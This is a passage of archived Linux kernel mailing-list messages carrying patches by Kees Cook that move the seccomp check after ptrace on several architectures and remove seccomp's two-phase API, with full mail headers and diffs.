-	long ret = 0;
-
-	/* Do the secure computing check first. */
-	if (secure_computing(NULL)) {
-		/* seccomp failures shouldn't expose any additional code. */
-		ret = -1;
-		goto out;
-	}
-
 	/*
 	 * The sysc_tracesys code in entry.S stored the system
 	 * call number to gprs[2].
@@ -843,7 +834,13 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 		 * the system call and the system call restart handling.
 		 */
 		clear_pt_regs_flag(regs, PIF_SYSCALL);
-		ret = -1;
+		return -1;
+	}
+
+	/* Do the secure computing check after ptrace. */
+	if (secure_computing(NULL)) {
+		/* seccomp failures shouldn't expose any additional code. */
+		return -1;
 	}
 
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
@@ -852,8 +849,8 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 	audit_syscall_entry(regs->gprs[2], regs->orig_gpr2,
 			    regs->gprs[3], regs->gprs[4],
 			    regs->gprs[5]);
-out:
-	return ret ?: regs->gprs[2];
+
+	return regs->gprs[2];
 }
 
 asmlinkage void do_syscall_trace_exit(struct pt_regs *regs)
-- 
2.7.4

From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: [PATCH 09/14] MIPS/ptrace: run seccomp after ptrace
Date: Thu,  9 Jun 2016 14:01:59 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <1465506124-21866-10-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465506252 15186 80.91.229.3 (9 Jun 2016 21:04:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:04:12 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	"Maciej W. Rozycki" <macro@imgtec.com>,
	James Hogan <james.hogan@imgtec.com>,
	linux-mips@linux-mips.org, Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Jeff Dike <jdike@addtoit.com>, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Paul Mackerras <paulus@samba.org>,
	Richard Weinberger <richard@nod.at>,
	Russell King <linux@armlinux.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 09 23:04:05 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bB77F-0000S7-6T
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jun 2016 23:03:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752112AbcFIVDf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 17:03:35 -0400
Original-Received: from mail-pa0-f49.google.com ([209.85.220.49]:35106 "EHLO
	mail-pa0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751419AbcFIVCf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 17:02:35 -0400
Original-Received: by mail-pa0-f49.google.com with SMTP id hl6so16555288pac.2
        for <linux-parisc@vger.kernel.org>; Thu, 09 Jun 2016 14:02:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=3Sw2W3K42wZ2ymBLqhVP49O2I+Kh9DVzTU+Zk8PVUaM=;
        b=b8NMWorhTBAxMp9++W+c+usgSzj0AFGeKv6U6jSrgZFlpiTOAmtkLRd9bWQemqSp0t
         4InMg3C4C5U5G0kk5K9Ym8uoX9o9pyyDzRQjn0oF0LduCFhq1HmZ3grsad2bgnpBdz10
         uUFtrMSi0ij56CZO+HF01MrSKunPVvZh237yw=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=3Sw2W3K42wZ2ymBLqhVP49O2I+Kh9DVzTU+Zk8PVUaM=;
        b=UAa4OWebCmyhrvFgruuAwLirNcNMu0UCevMcgLUrem1kwQtEpMI+FDQzXYB3LTE840
         S4pbfpKQ/AxLwuZrNwTaLJi/3j5L7Sn+PryUeVZgaoBL9daszI/NPU1cSGrQ8RB0GQzy
         DdBboQTSnMbR4OGKGR+xmJ4CtxcBPRO/vuEqIEB7b7zPL7ssF54FxHHq8r+HMmAo0JTq
         KJzlgIAoVQgMDD7U4G0GR5gUxhAaby0Bo0pBzIN4u5rRStoP8yKoG6Oyu2UbQ/Om2pfK
         NaI48zoT4FtzU2HkJyhw9055M894iCDSbw5lX2oCqEZWkh5ujLoTWfvQnw27HS0uxCrF
         g35Q==
X-Gm-Message-State: ALyK8tJoiby0L8NzYkIX3+OgFeB5SgA0F7OiznDitQVlW3Dis3Q+O75szQqPMN4dRN0MhBIq
X-Received: by 10.66.49.134 with SMTP id u6mr14467962pan.118.1465506149704;
        Thu, 09 Jun 2016 14:02:29 -0700 (PDT)
Original-Received: from www.outflux.net ([2002:ada4:7085:0:ae16:2dff:fe07:4fb6])
        by smtp.gmail.com with ESMTPSA id 14sm12132101pfu.83.2016.06.09.14.02.27
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Jun 2016 14:02:27 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26862 gmane.linux.kernel:2240089 gmane.linux.ports.mips.general:55133 gmane.linux.kernel.cross-arch:32360 gmane.linux.ports.arm.kernel:505741 gmane.linux.ports.ppc64.devel:128386 gmane.linux.uml.devel:15891
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26862>

Close the hole where ptrace can change a syscall out from under seccomp.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: "Maciej W. Rozycki" <macro@imgtec.com>
Cc: James Hogan <james.hogan@imgtec.com>
Cc: linux-mips@linux-mips.org
---
 arch/mips/kernel/ptrace.c | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/arch/mips/kernel/ptrace.c b/arch/mips/kernel/ptrace.c
index c50af846ecf9..6103b24d1bfc 100644
--- a/arch/mips/kernel/ptrace.c
+++ b/arch/mips/kernel/ptrace.c
@@ -888,17 +888,16 @@ long arch_ptrace(struct task_struct *child, long request,
  */
 asmlinkage long syscall_trace_enter(struct pt_regs *regs, long syscall)
 {
-	long ret = 0;
 	user_exit();
 
 	current_thread_info()->syscall = syscall;
 
-	if (secure_computing(NULL) == -1)
-		return -1;

From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 10/14] parisc/ptrace: run seccomp after ptrace
Date: Thu,  9 Jun 2016 14:02:00 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <1465506124-21866-11-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465506257 15237 80.91.229.3 (9 Jun 2016 21:04:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:04:17 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 Russell King <linux@armlinux.org.uk>, Paul Mackerras <paulus@samba.org>,
 Chris Metcalf <cmetcalf@mellanox.com>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, Michael Ellerman <mpe@ellerman.id.au>,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 James Hogan <james.hogan@imgtec.com>, Kees Cook <keescook@chromium.org>,
 user-mode-linux-devel@lists.sourceforge.net, Will Deacon <will.deacon@arm.com>,
 Jeff Dike <jdike@addtoit.com>, Andy Lutomirski <luto@kernel.org>,
 linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
 Ralf Baechle <ralf@linux-mips.org>, Richard Weinberger <richard@nod.at>,
 Martin Schwidefsky
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jun 09 23:04:08 2016
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1bB77E-0000Qq-Qy
	for linux-arm-kernel@m.gmane.org; Thu, 09 Jun 2016 23:03:49 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1bB76t-0007FG-8D; Thu, 09 Jun 2016 21:03:27 +0000
Original-Received: from mail-pf0-x235.google.com ([2607:f8b0:400e:c00::235])
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1bB76F-0006ks-Tn
 for linux-arm-kernel@lists.infradead.org; Thu, 09 Jun 2016 21:02:50 +0000
Original-Received: by mail-pf0-x235.google.com with SMTP id c2so16363157pfa.2
 for <linux-arm-kernel@lists.infradead.org>;
 Thu, 09 Jun 2016 14:02:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=chromium.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=oYG2fs7qhrt3SB3C1gIg78Ki38XUW1yWQYHGxsDi4jM=;
 b=KUhlYh9YOyuXBPOs6E+cskJoTnOLRBiV+xqRaF7vJof5BbOKS/I/J7I0EGGIpssRLt
 Rinq+l7z/VivEQwl7LIe5Za6gqZrJ77MrFPYpAVEqynv/AS69YeUTeVAp3xZ60mmPSud
 4jNx8jFMyKERWgSsWLQdK2JAIhTBb+omFfH0Y=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20130820;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
 bh=oYG2fs7qhrt3SB3C1gIg78Ki38XUW1yWQYHGxsDi4jM=;
 b=ZCalfi3bPN8MUw1HZDkGMdPAXCNX+ikQ0kkltNbDhxvxQWrkeGNBLC8szGF61RKscs
 pmUxyV34wG+l/a3C/sjvFx2wWQ6WHlgTjiFyZpoeYYjV/sjLDVfhH84PZqbMX9W23OFn
 1xlNLJWgZDbvBI2d7vgzSt9gpwC+MMsoag3J4Ah4nN/x2LMNrKp8W657Wicf7hLJTiE1
 ek47FnX0uL76Qc6VfQfXthZGlXPdWzDq5R8PS/qoPQp957SOXSbA02ILus83WNwJBUWx
 oGFMXEvkgzcz8SQb3EUfYGLx/P3j85jZrIO20+iGp79ttJNyWXxdkY/wTwbGDlMBT0xi
 8BCQ==
X-Gm-Message-State: ALyK8tJzbB/CgygngmF9hD5O1TJaDecyPPImCMXit8lXKGmzg85Nl5mUDft2RgcGvZO7e3P5
X-Received: by 10.98.10.137 with SMTP id 9mr6453218pfk.28.1465506149191;
 Thu, 09 Jun 2016 14:02:29 -0700 (PDT)
Original-Received: from www.outflux.net
 (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
 by smtp.gmail.com with ESMTPSA id s124sm12163691pfb.63.2016.06.09.14.02.27
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 09 Jun 2016 14:02:27 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160609_140248_127104_AEA39C5F 
X-CRM114-Status: GOOD (  11.87  )
X-Spam-Score: -2.7 (--)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-2.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [2607:f8b0:400e:c00:0:0:0:235 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:505742 gmane.linux.kernel:2240090 gmane.linux.ports.mips.general:55134 gmane.linux.kernel.cross-arch:32361 gmane.linux.uml.devel:15892 gmane.linux.ports.parisc:26863 gmane.linux.ports.ppc64.devel:128387
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/505742>

Close the hole where ptrace can change a syscall out from under seccomp.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/ptrace.c | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 8edc47c0b98e..e02d7b4d2b69 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -311,10 +311,6 @@ long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
 
 long do_syscall_trace_enter(struct pt_regs *regs)
 {
-	/* Do the secure computing check first. */
-	if (secure_computing(NULL) == -1)
-		return -1;
-
 	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
 	    tracehook_report_syscall_entry(regs)) {
 		/*
@@ -325,6 +321,11 @@ long do_syscall_trace_enter(struct pt_regs *regs)
 		regs->gr[20] = -1UL;
 		goto out;
 	}
+
+	/* Do the secure computing check after ptrace. */
+	if (secure_computing(NULL) == -1)
+		return -1;
+
 #ifdef CONFIG_HAVE_SYSCALL_TRACEPOINTS
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->gr[20]);
-- 
2.7.4

From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: [PATCH 04/14] seccomp: remove 2-phase API
Date: Thu,  9 Jun 2016 14:01:54 -0700
Lines: 213
Approved: news@gmane.org
Message-ID: <1465506124-21866-5-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465506267 15351 80.91.229.3 (9 Jun 2016 21:04:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:04:27 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
	Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, "Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Paul Mackerras <paulus@samba.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	Richard Weinberger <richard@nod.at>,
	Russell King <linux@armlinux.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 09 23:04:13 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bB77a-0000n1-Km
	for glk-linux-kernel-3@plane.gmane.org; Thu, 09 Jun 2016 23:04:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752662AbcFIVD7 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 9 Jun 2016 17:03:59 -0400
Original-Received: from mail-pf0-f174.google.com ([209.85.192.174]:34754 "EHLO
	mail-pf0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752065AbcFIVCd (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 9 Jun 2016 17:02:33 -0400
Original-Received: by mail-pf0-f174.google.com with SMTP id 62so16361448pfd.1
        for <linux-kernel@vger.kernel.org>; Thu, 09 Jun 2016 14:02:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=3bF1T7UI93B7/xICFk87VhuLeNm9vJZ6lhuj2vxxkEs=;
        b=nXsTRQimeoe1N/4bPsI49OThHbXo6VyrIReHCbPHHJp7/8JMyoQb+BHD9fS99pLt4H
         iuXKPYnlxUvrk0G343JWklVQ1KJVaImRVdt6xtiweWCgrMVAYobcGUQNvDKPt/ui1yw5
         D2eo/QskL+Rt/rl/CDEVAFZZy1ZXPHtCsJUM4=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=3bF1T7UI93B7/xICFk87VhuLeNm9vJZ6lhuj2vxxkEs=;
        b=QaqpFyS5DOkpN9bm1JX0CxevPwbSFEAYtzIclmLcL+4wPDzr6poDYMGV5rxjXzk0Ue
         uDbGVNNM3NePBWru1Bk1FsvHBpGZs/L/D9tiKddwPouyZyaNwT3YOccLBo0iBvJ/3hOu
         OSTvgfxexCp8TrPiO5ybfKLMFItHIN6xpMT/fqxmltfNQMasqhw3Ea2zM+Xfurue3HkT
         dYmrQzHXrvYLZCbi6Fmr4pi9xfHVfB5riNXqcmhaRY5Kb1cBVl8gjswuQmcFkxEXJGEH
         ZfD2Oe32w6n6v5f19HYD13I6AzTHjWFHz8yPwSlAy5hAre8Ni0npW46r9awaaCa/WVaX
         /CKw==
X-Gm-Message-State: ALyK8tJ6JBYnPgumIlyThNBOWn8Jpcs35nCguYtTtCZpYxSSd939rePvIGdtdFgpJMiU+iqB
X-Received: by 10.98.77.6 with SMTP id a6mr6597027pfb.20.1465506147662;
        Thu, 09 Jun 2016 14:02:27 -0700 (PDT)
Original-Received: from www.outflux.net ([2002:ada4:7085:0:ae16:2dff:fe07:4fb6])
        by smtp.gmail.com with ESMTPSA id n66sm12209770pfb.38.2016.06.09.14.02.25
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Jun 2016 14:02:26 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2240091 gmane.linux.kernel.cross-arch:32362 gmane.linux.ports.arm.kernel:505743 gmane.linux.ports.mips.general:55135 gmane.linux.ports.parisc:26864 gmane.linux.ports.ppc64.devel:128388 gmane.linux.uml.devel:15893
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2240091>

Since nothing is using the 2-phase API, and it adds more complexity than
benefit, remove it.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: Andy Lutomirski <luto@kernel.org>
---
 include/linux/seccomp.h |   6 ---
 kernel/seccomp.c        | 129 +++++++++++++++---------------------------------
 2 files changed, 41 insertions(+), 94 deletions(-)

diff --git a/include/linux/seccomp.h b/include/linux/seccomp.h
index 9eaa7b34d6da..ecc296c137cd 100644
--- a/include/linux/seccomp.h
+++ b/include/linux/seccomp.h
@@ -35,12 +35,6 @@ static inline int secure_computing(const struct seccomp_data *sd)
 		return  __secure_computing(sd);
 	return 0;
 }
-
-#define SECCOMP_PHASE1_OK	0
-#define SECCOMP_PHASE1_SKIP	1
-
-extern u32 seccomp_phase1(struct seccomp_data *sd);
-int seccomp_phase2(u32 phase1_result);
 #else
 extern void secure_computing_strict(int this_syscall);
 #endif
diff --git a/kernel/seccomp.c b/kernel/seccomp.c
index 06816290a212..14a37d71b612 100644
--- a/kernel/seccomp.c
+++ b/kernel/seccomp.c
@@ -173,7 +173,7 @@ static int seccomp_check_filter(struct sock_filter *filter, unsigned int flen)
  *
  * Returns valid seccomp BPF response codes.
  */
-static u32 seccomp_run_filters(struct seccomp_data *sd)
+static u32 seccomp_run_filters(const struct seccomp_data *sd)
 {
 	struct seccomp_data sd_local;
 	u32 ret = SECCOMP_RET_ALLOW;
@@ -554,20 +554,9 @@ void secure_computing_strict(int this_syscall)
 		BUG();
 }
 #else
-int __secure_computing(const struct seccomp_data *sd)
-{
-	u32 phase1_result = seccomp_phase1(sd);
-
-	if (likely(phase1_result == SECCOMP_PHASE1_OK))
-		return 0;
-	else if (likely(phase1_result == SECCOMP_PHASE1_SKIP))
-		return -1;
-	else
-		return seccomp_phase2(phase1_result);
-}
 
 #ifdef CONFIG_SECCOMP_FILTER
-static u32 __seccomp_phase1_filter(int this_syscall, struct seccomp_data *sd)
+static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd)
 {
 	u32 filter_ret, action;
 	int data;
@@ -599,10 +588,33 @@ static u32 __seccomp_phase1_filter(int this_syscall, struct seccomp_data *sd)
 		goto skip;
 
 	case SECCOMP_RET_TRACE:
-		return filter_ret;  /* Save the rest for phase 2. */
+		/* ENOSYS these calls if there is no tracer attached. */
+		if (!ptrace_event_enabled(current, PTRACE_EVENT_SECCOMP)) {
+			syscall_set_return_value(current,
+						 task_pt_regs(current),
+						 -ENOSYS, 0);
+			goto skip;
+		}
+
+		/* Allow the BPF to provide the event message */
+		ptrace_event(PTRACE_EVENT_SECCOMP, data);
+		/*
+		 * The delivery of a fatal signal during event
+		 * notification may silently skip tracer notification.
+		 * Terminating the task now avoids executing a system
+		 * call that may not be intended.
+		 */
+		if (fatal_signal_pending(current))
+			do_exit(SIGSYS);
+		/* Check if the tracer forced the syscall to be skipped. */
+		this_syscall = syscall_get_nr(current, task_pt_regs(current));
+		if (this_syscall < 0)
+			goto skip;
+
+		return 0;
 
 	case SECCOMP_RET_ALLOW:
-		return SECCOMP_PHASE1_OK;
+		return 0;
 
 	case SECCOMP_RET_KILL:
 	default:
@@ -614,96 +626,37 @@ static u32 __seccomp_phase1_filter(int this_syscall, struct seccomp_data *sd)
 
 skip:
 	audit_seccomp(this_syscall, 0, action);
-	return SECCOMP_PHASE1_SKIP;
+	return -1;
+}
+#else
+static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd)
+{
+	BUG();
 }
 #endif
 
-/**
- * seccomp_phase1() - run fast path seccomp checks on the current syscall
- * @arg sd: The seccomp_data or NULL
- *
- * This only reads pt_regs via the syscall_xyz helpers.  The only change
- * it will make to pt_regs is via syscall_set_return_value, and it will
- * only do that if it returns SECCOMP_PHASE1_SKIP.
- *
- * If sd is provided, it will not read pt_regs at all.
- *
- * It may also call do_exit or force a signal; these actions must be
- * safe.
- *
- * If it returns SECCOMP_PHASE1_OK, the syscall passes checks and should
- * be processed normally.
- *
- * If it returns SECCOMP_PHASE1_SKIP, then the syscall should not be
- * invoked.  In this case, seccomp_phase1 will have set the return value
- * using syscall_set_return_value.
- *
- * If it returns anything else, then the return value should be passed
- * to seccomp_phase2 from a context in which ptrace hooks are safe.
- */
-u32 seccomp_phase1(struct seccomp_data *sd)
+int __secure_computing(const struct seccomp_data *sd)
 {
 	int mode = current->seccomp.mode;
-	int this_syscall = sd ? sd->nr :
-		syscall_get_nr(current, task_pt_regs(current));
+	int this_syscall;
 
 	if (config_enabled(CONFIG_CHECKPOINT_RESTORE) &&
 	    unlikely(current->ptrace & PT_SUSPEND_SECCOMP))
-		return SECCOMP_PHASE1_OK;
+		return 0;
+
+	this_syscall = sd ? sd->nr :
+		syscall_get_nr(current, task_pt_regs(current));
 
 	switch (mode) {
 	case SECCOMP_MODE_STRICT:
 		__secure_computing_strict(this_syscall);  /* may call do_exit */
-		return SECCOMP_PHASE1_OK;
-#ifdef CONFIG_SECCOMP_FILTER
+		return 0;
 	case SECCOMP_MODE_FILTER:
-		return __seccomp_phase1_filter(this_syscall, sd);
-#endif
+		return __seccomp_filter(this_syscall, sd);
 	default:
 		BUG();
 	}
 }
-
-/**
- * seccomp_phase2() - finish slow path seccomp work for the current syscall
- * @phase1_result: The return value from seccomp_phase1()
- *
- * This must be called from a context in which ptrace hooks can be used.
- *
- * Returns 0 if the syscall should be processed or -1 to skip the syscall.
- */
-int seccomp_phase2(u32 phase1_result)
-{
-	struct pt_regs *regs = task_pt_regs(current);
-	u32 action = phase1_result & SECCOMP_RET_ACTION;
-	int data = phase1_result & SECCOMP_RET_DATA;
-
-	BUG_ON(action != SECCOMP_RET_TRACE);
-
-	audit_seccomp(syscall_get_nr(current, regs), 0, action);
-
-	/* Skip these calls if there is no tracer. */
-	if (!ptrace_event_enabled(current, PTRACE_EVENT_SECCOMP)) {
-		syscall_set_return_value(current, regs,
-					 -ENOSYS, 0);
-		return -1;
-	}
-
-	/* Allow the BPF to provide the event message */
-	ptrace_event(PTRACE_EVENT_SECCOMP, data);
-	/*
-	 * The delivery of a fatal signal during event
-	 * notification may silently skip tracer notification.
-	 * Terminating the task now avoids executing a system
-	 * call that may not be intended.
-	 */
-	if (fatal_signal_pending(current))
-		do_exit(SIGSYS);
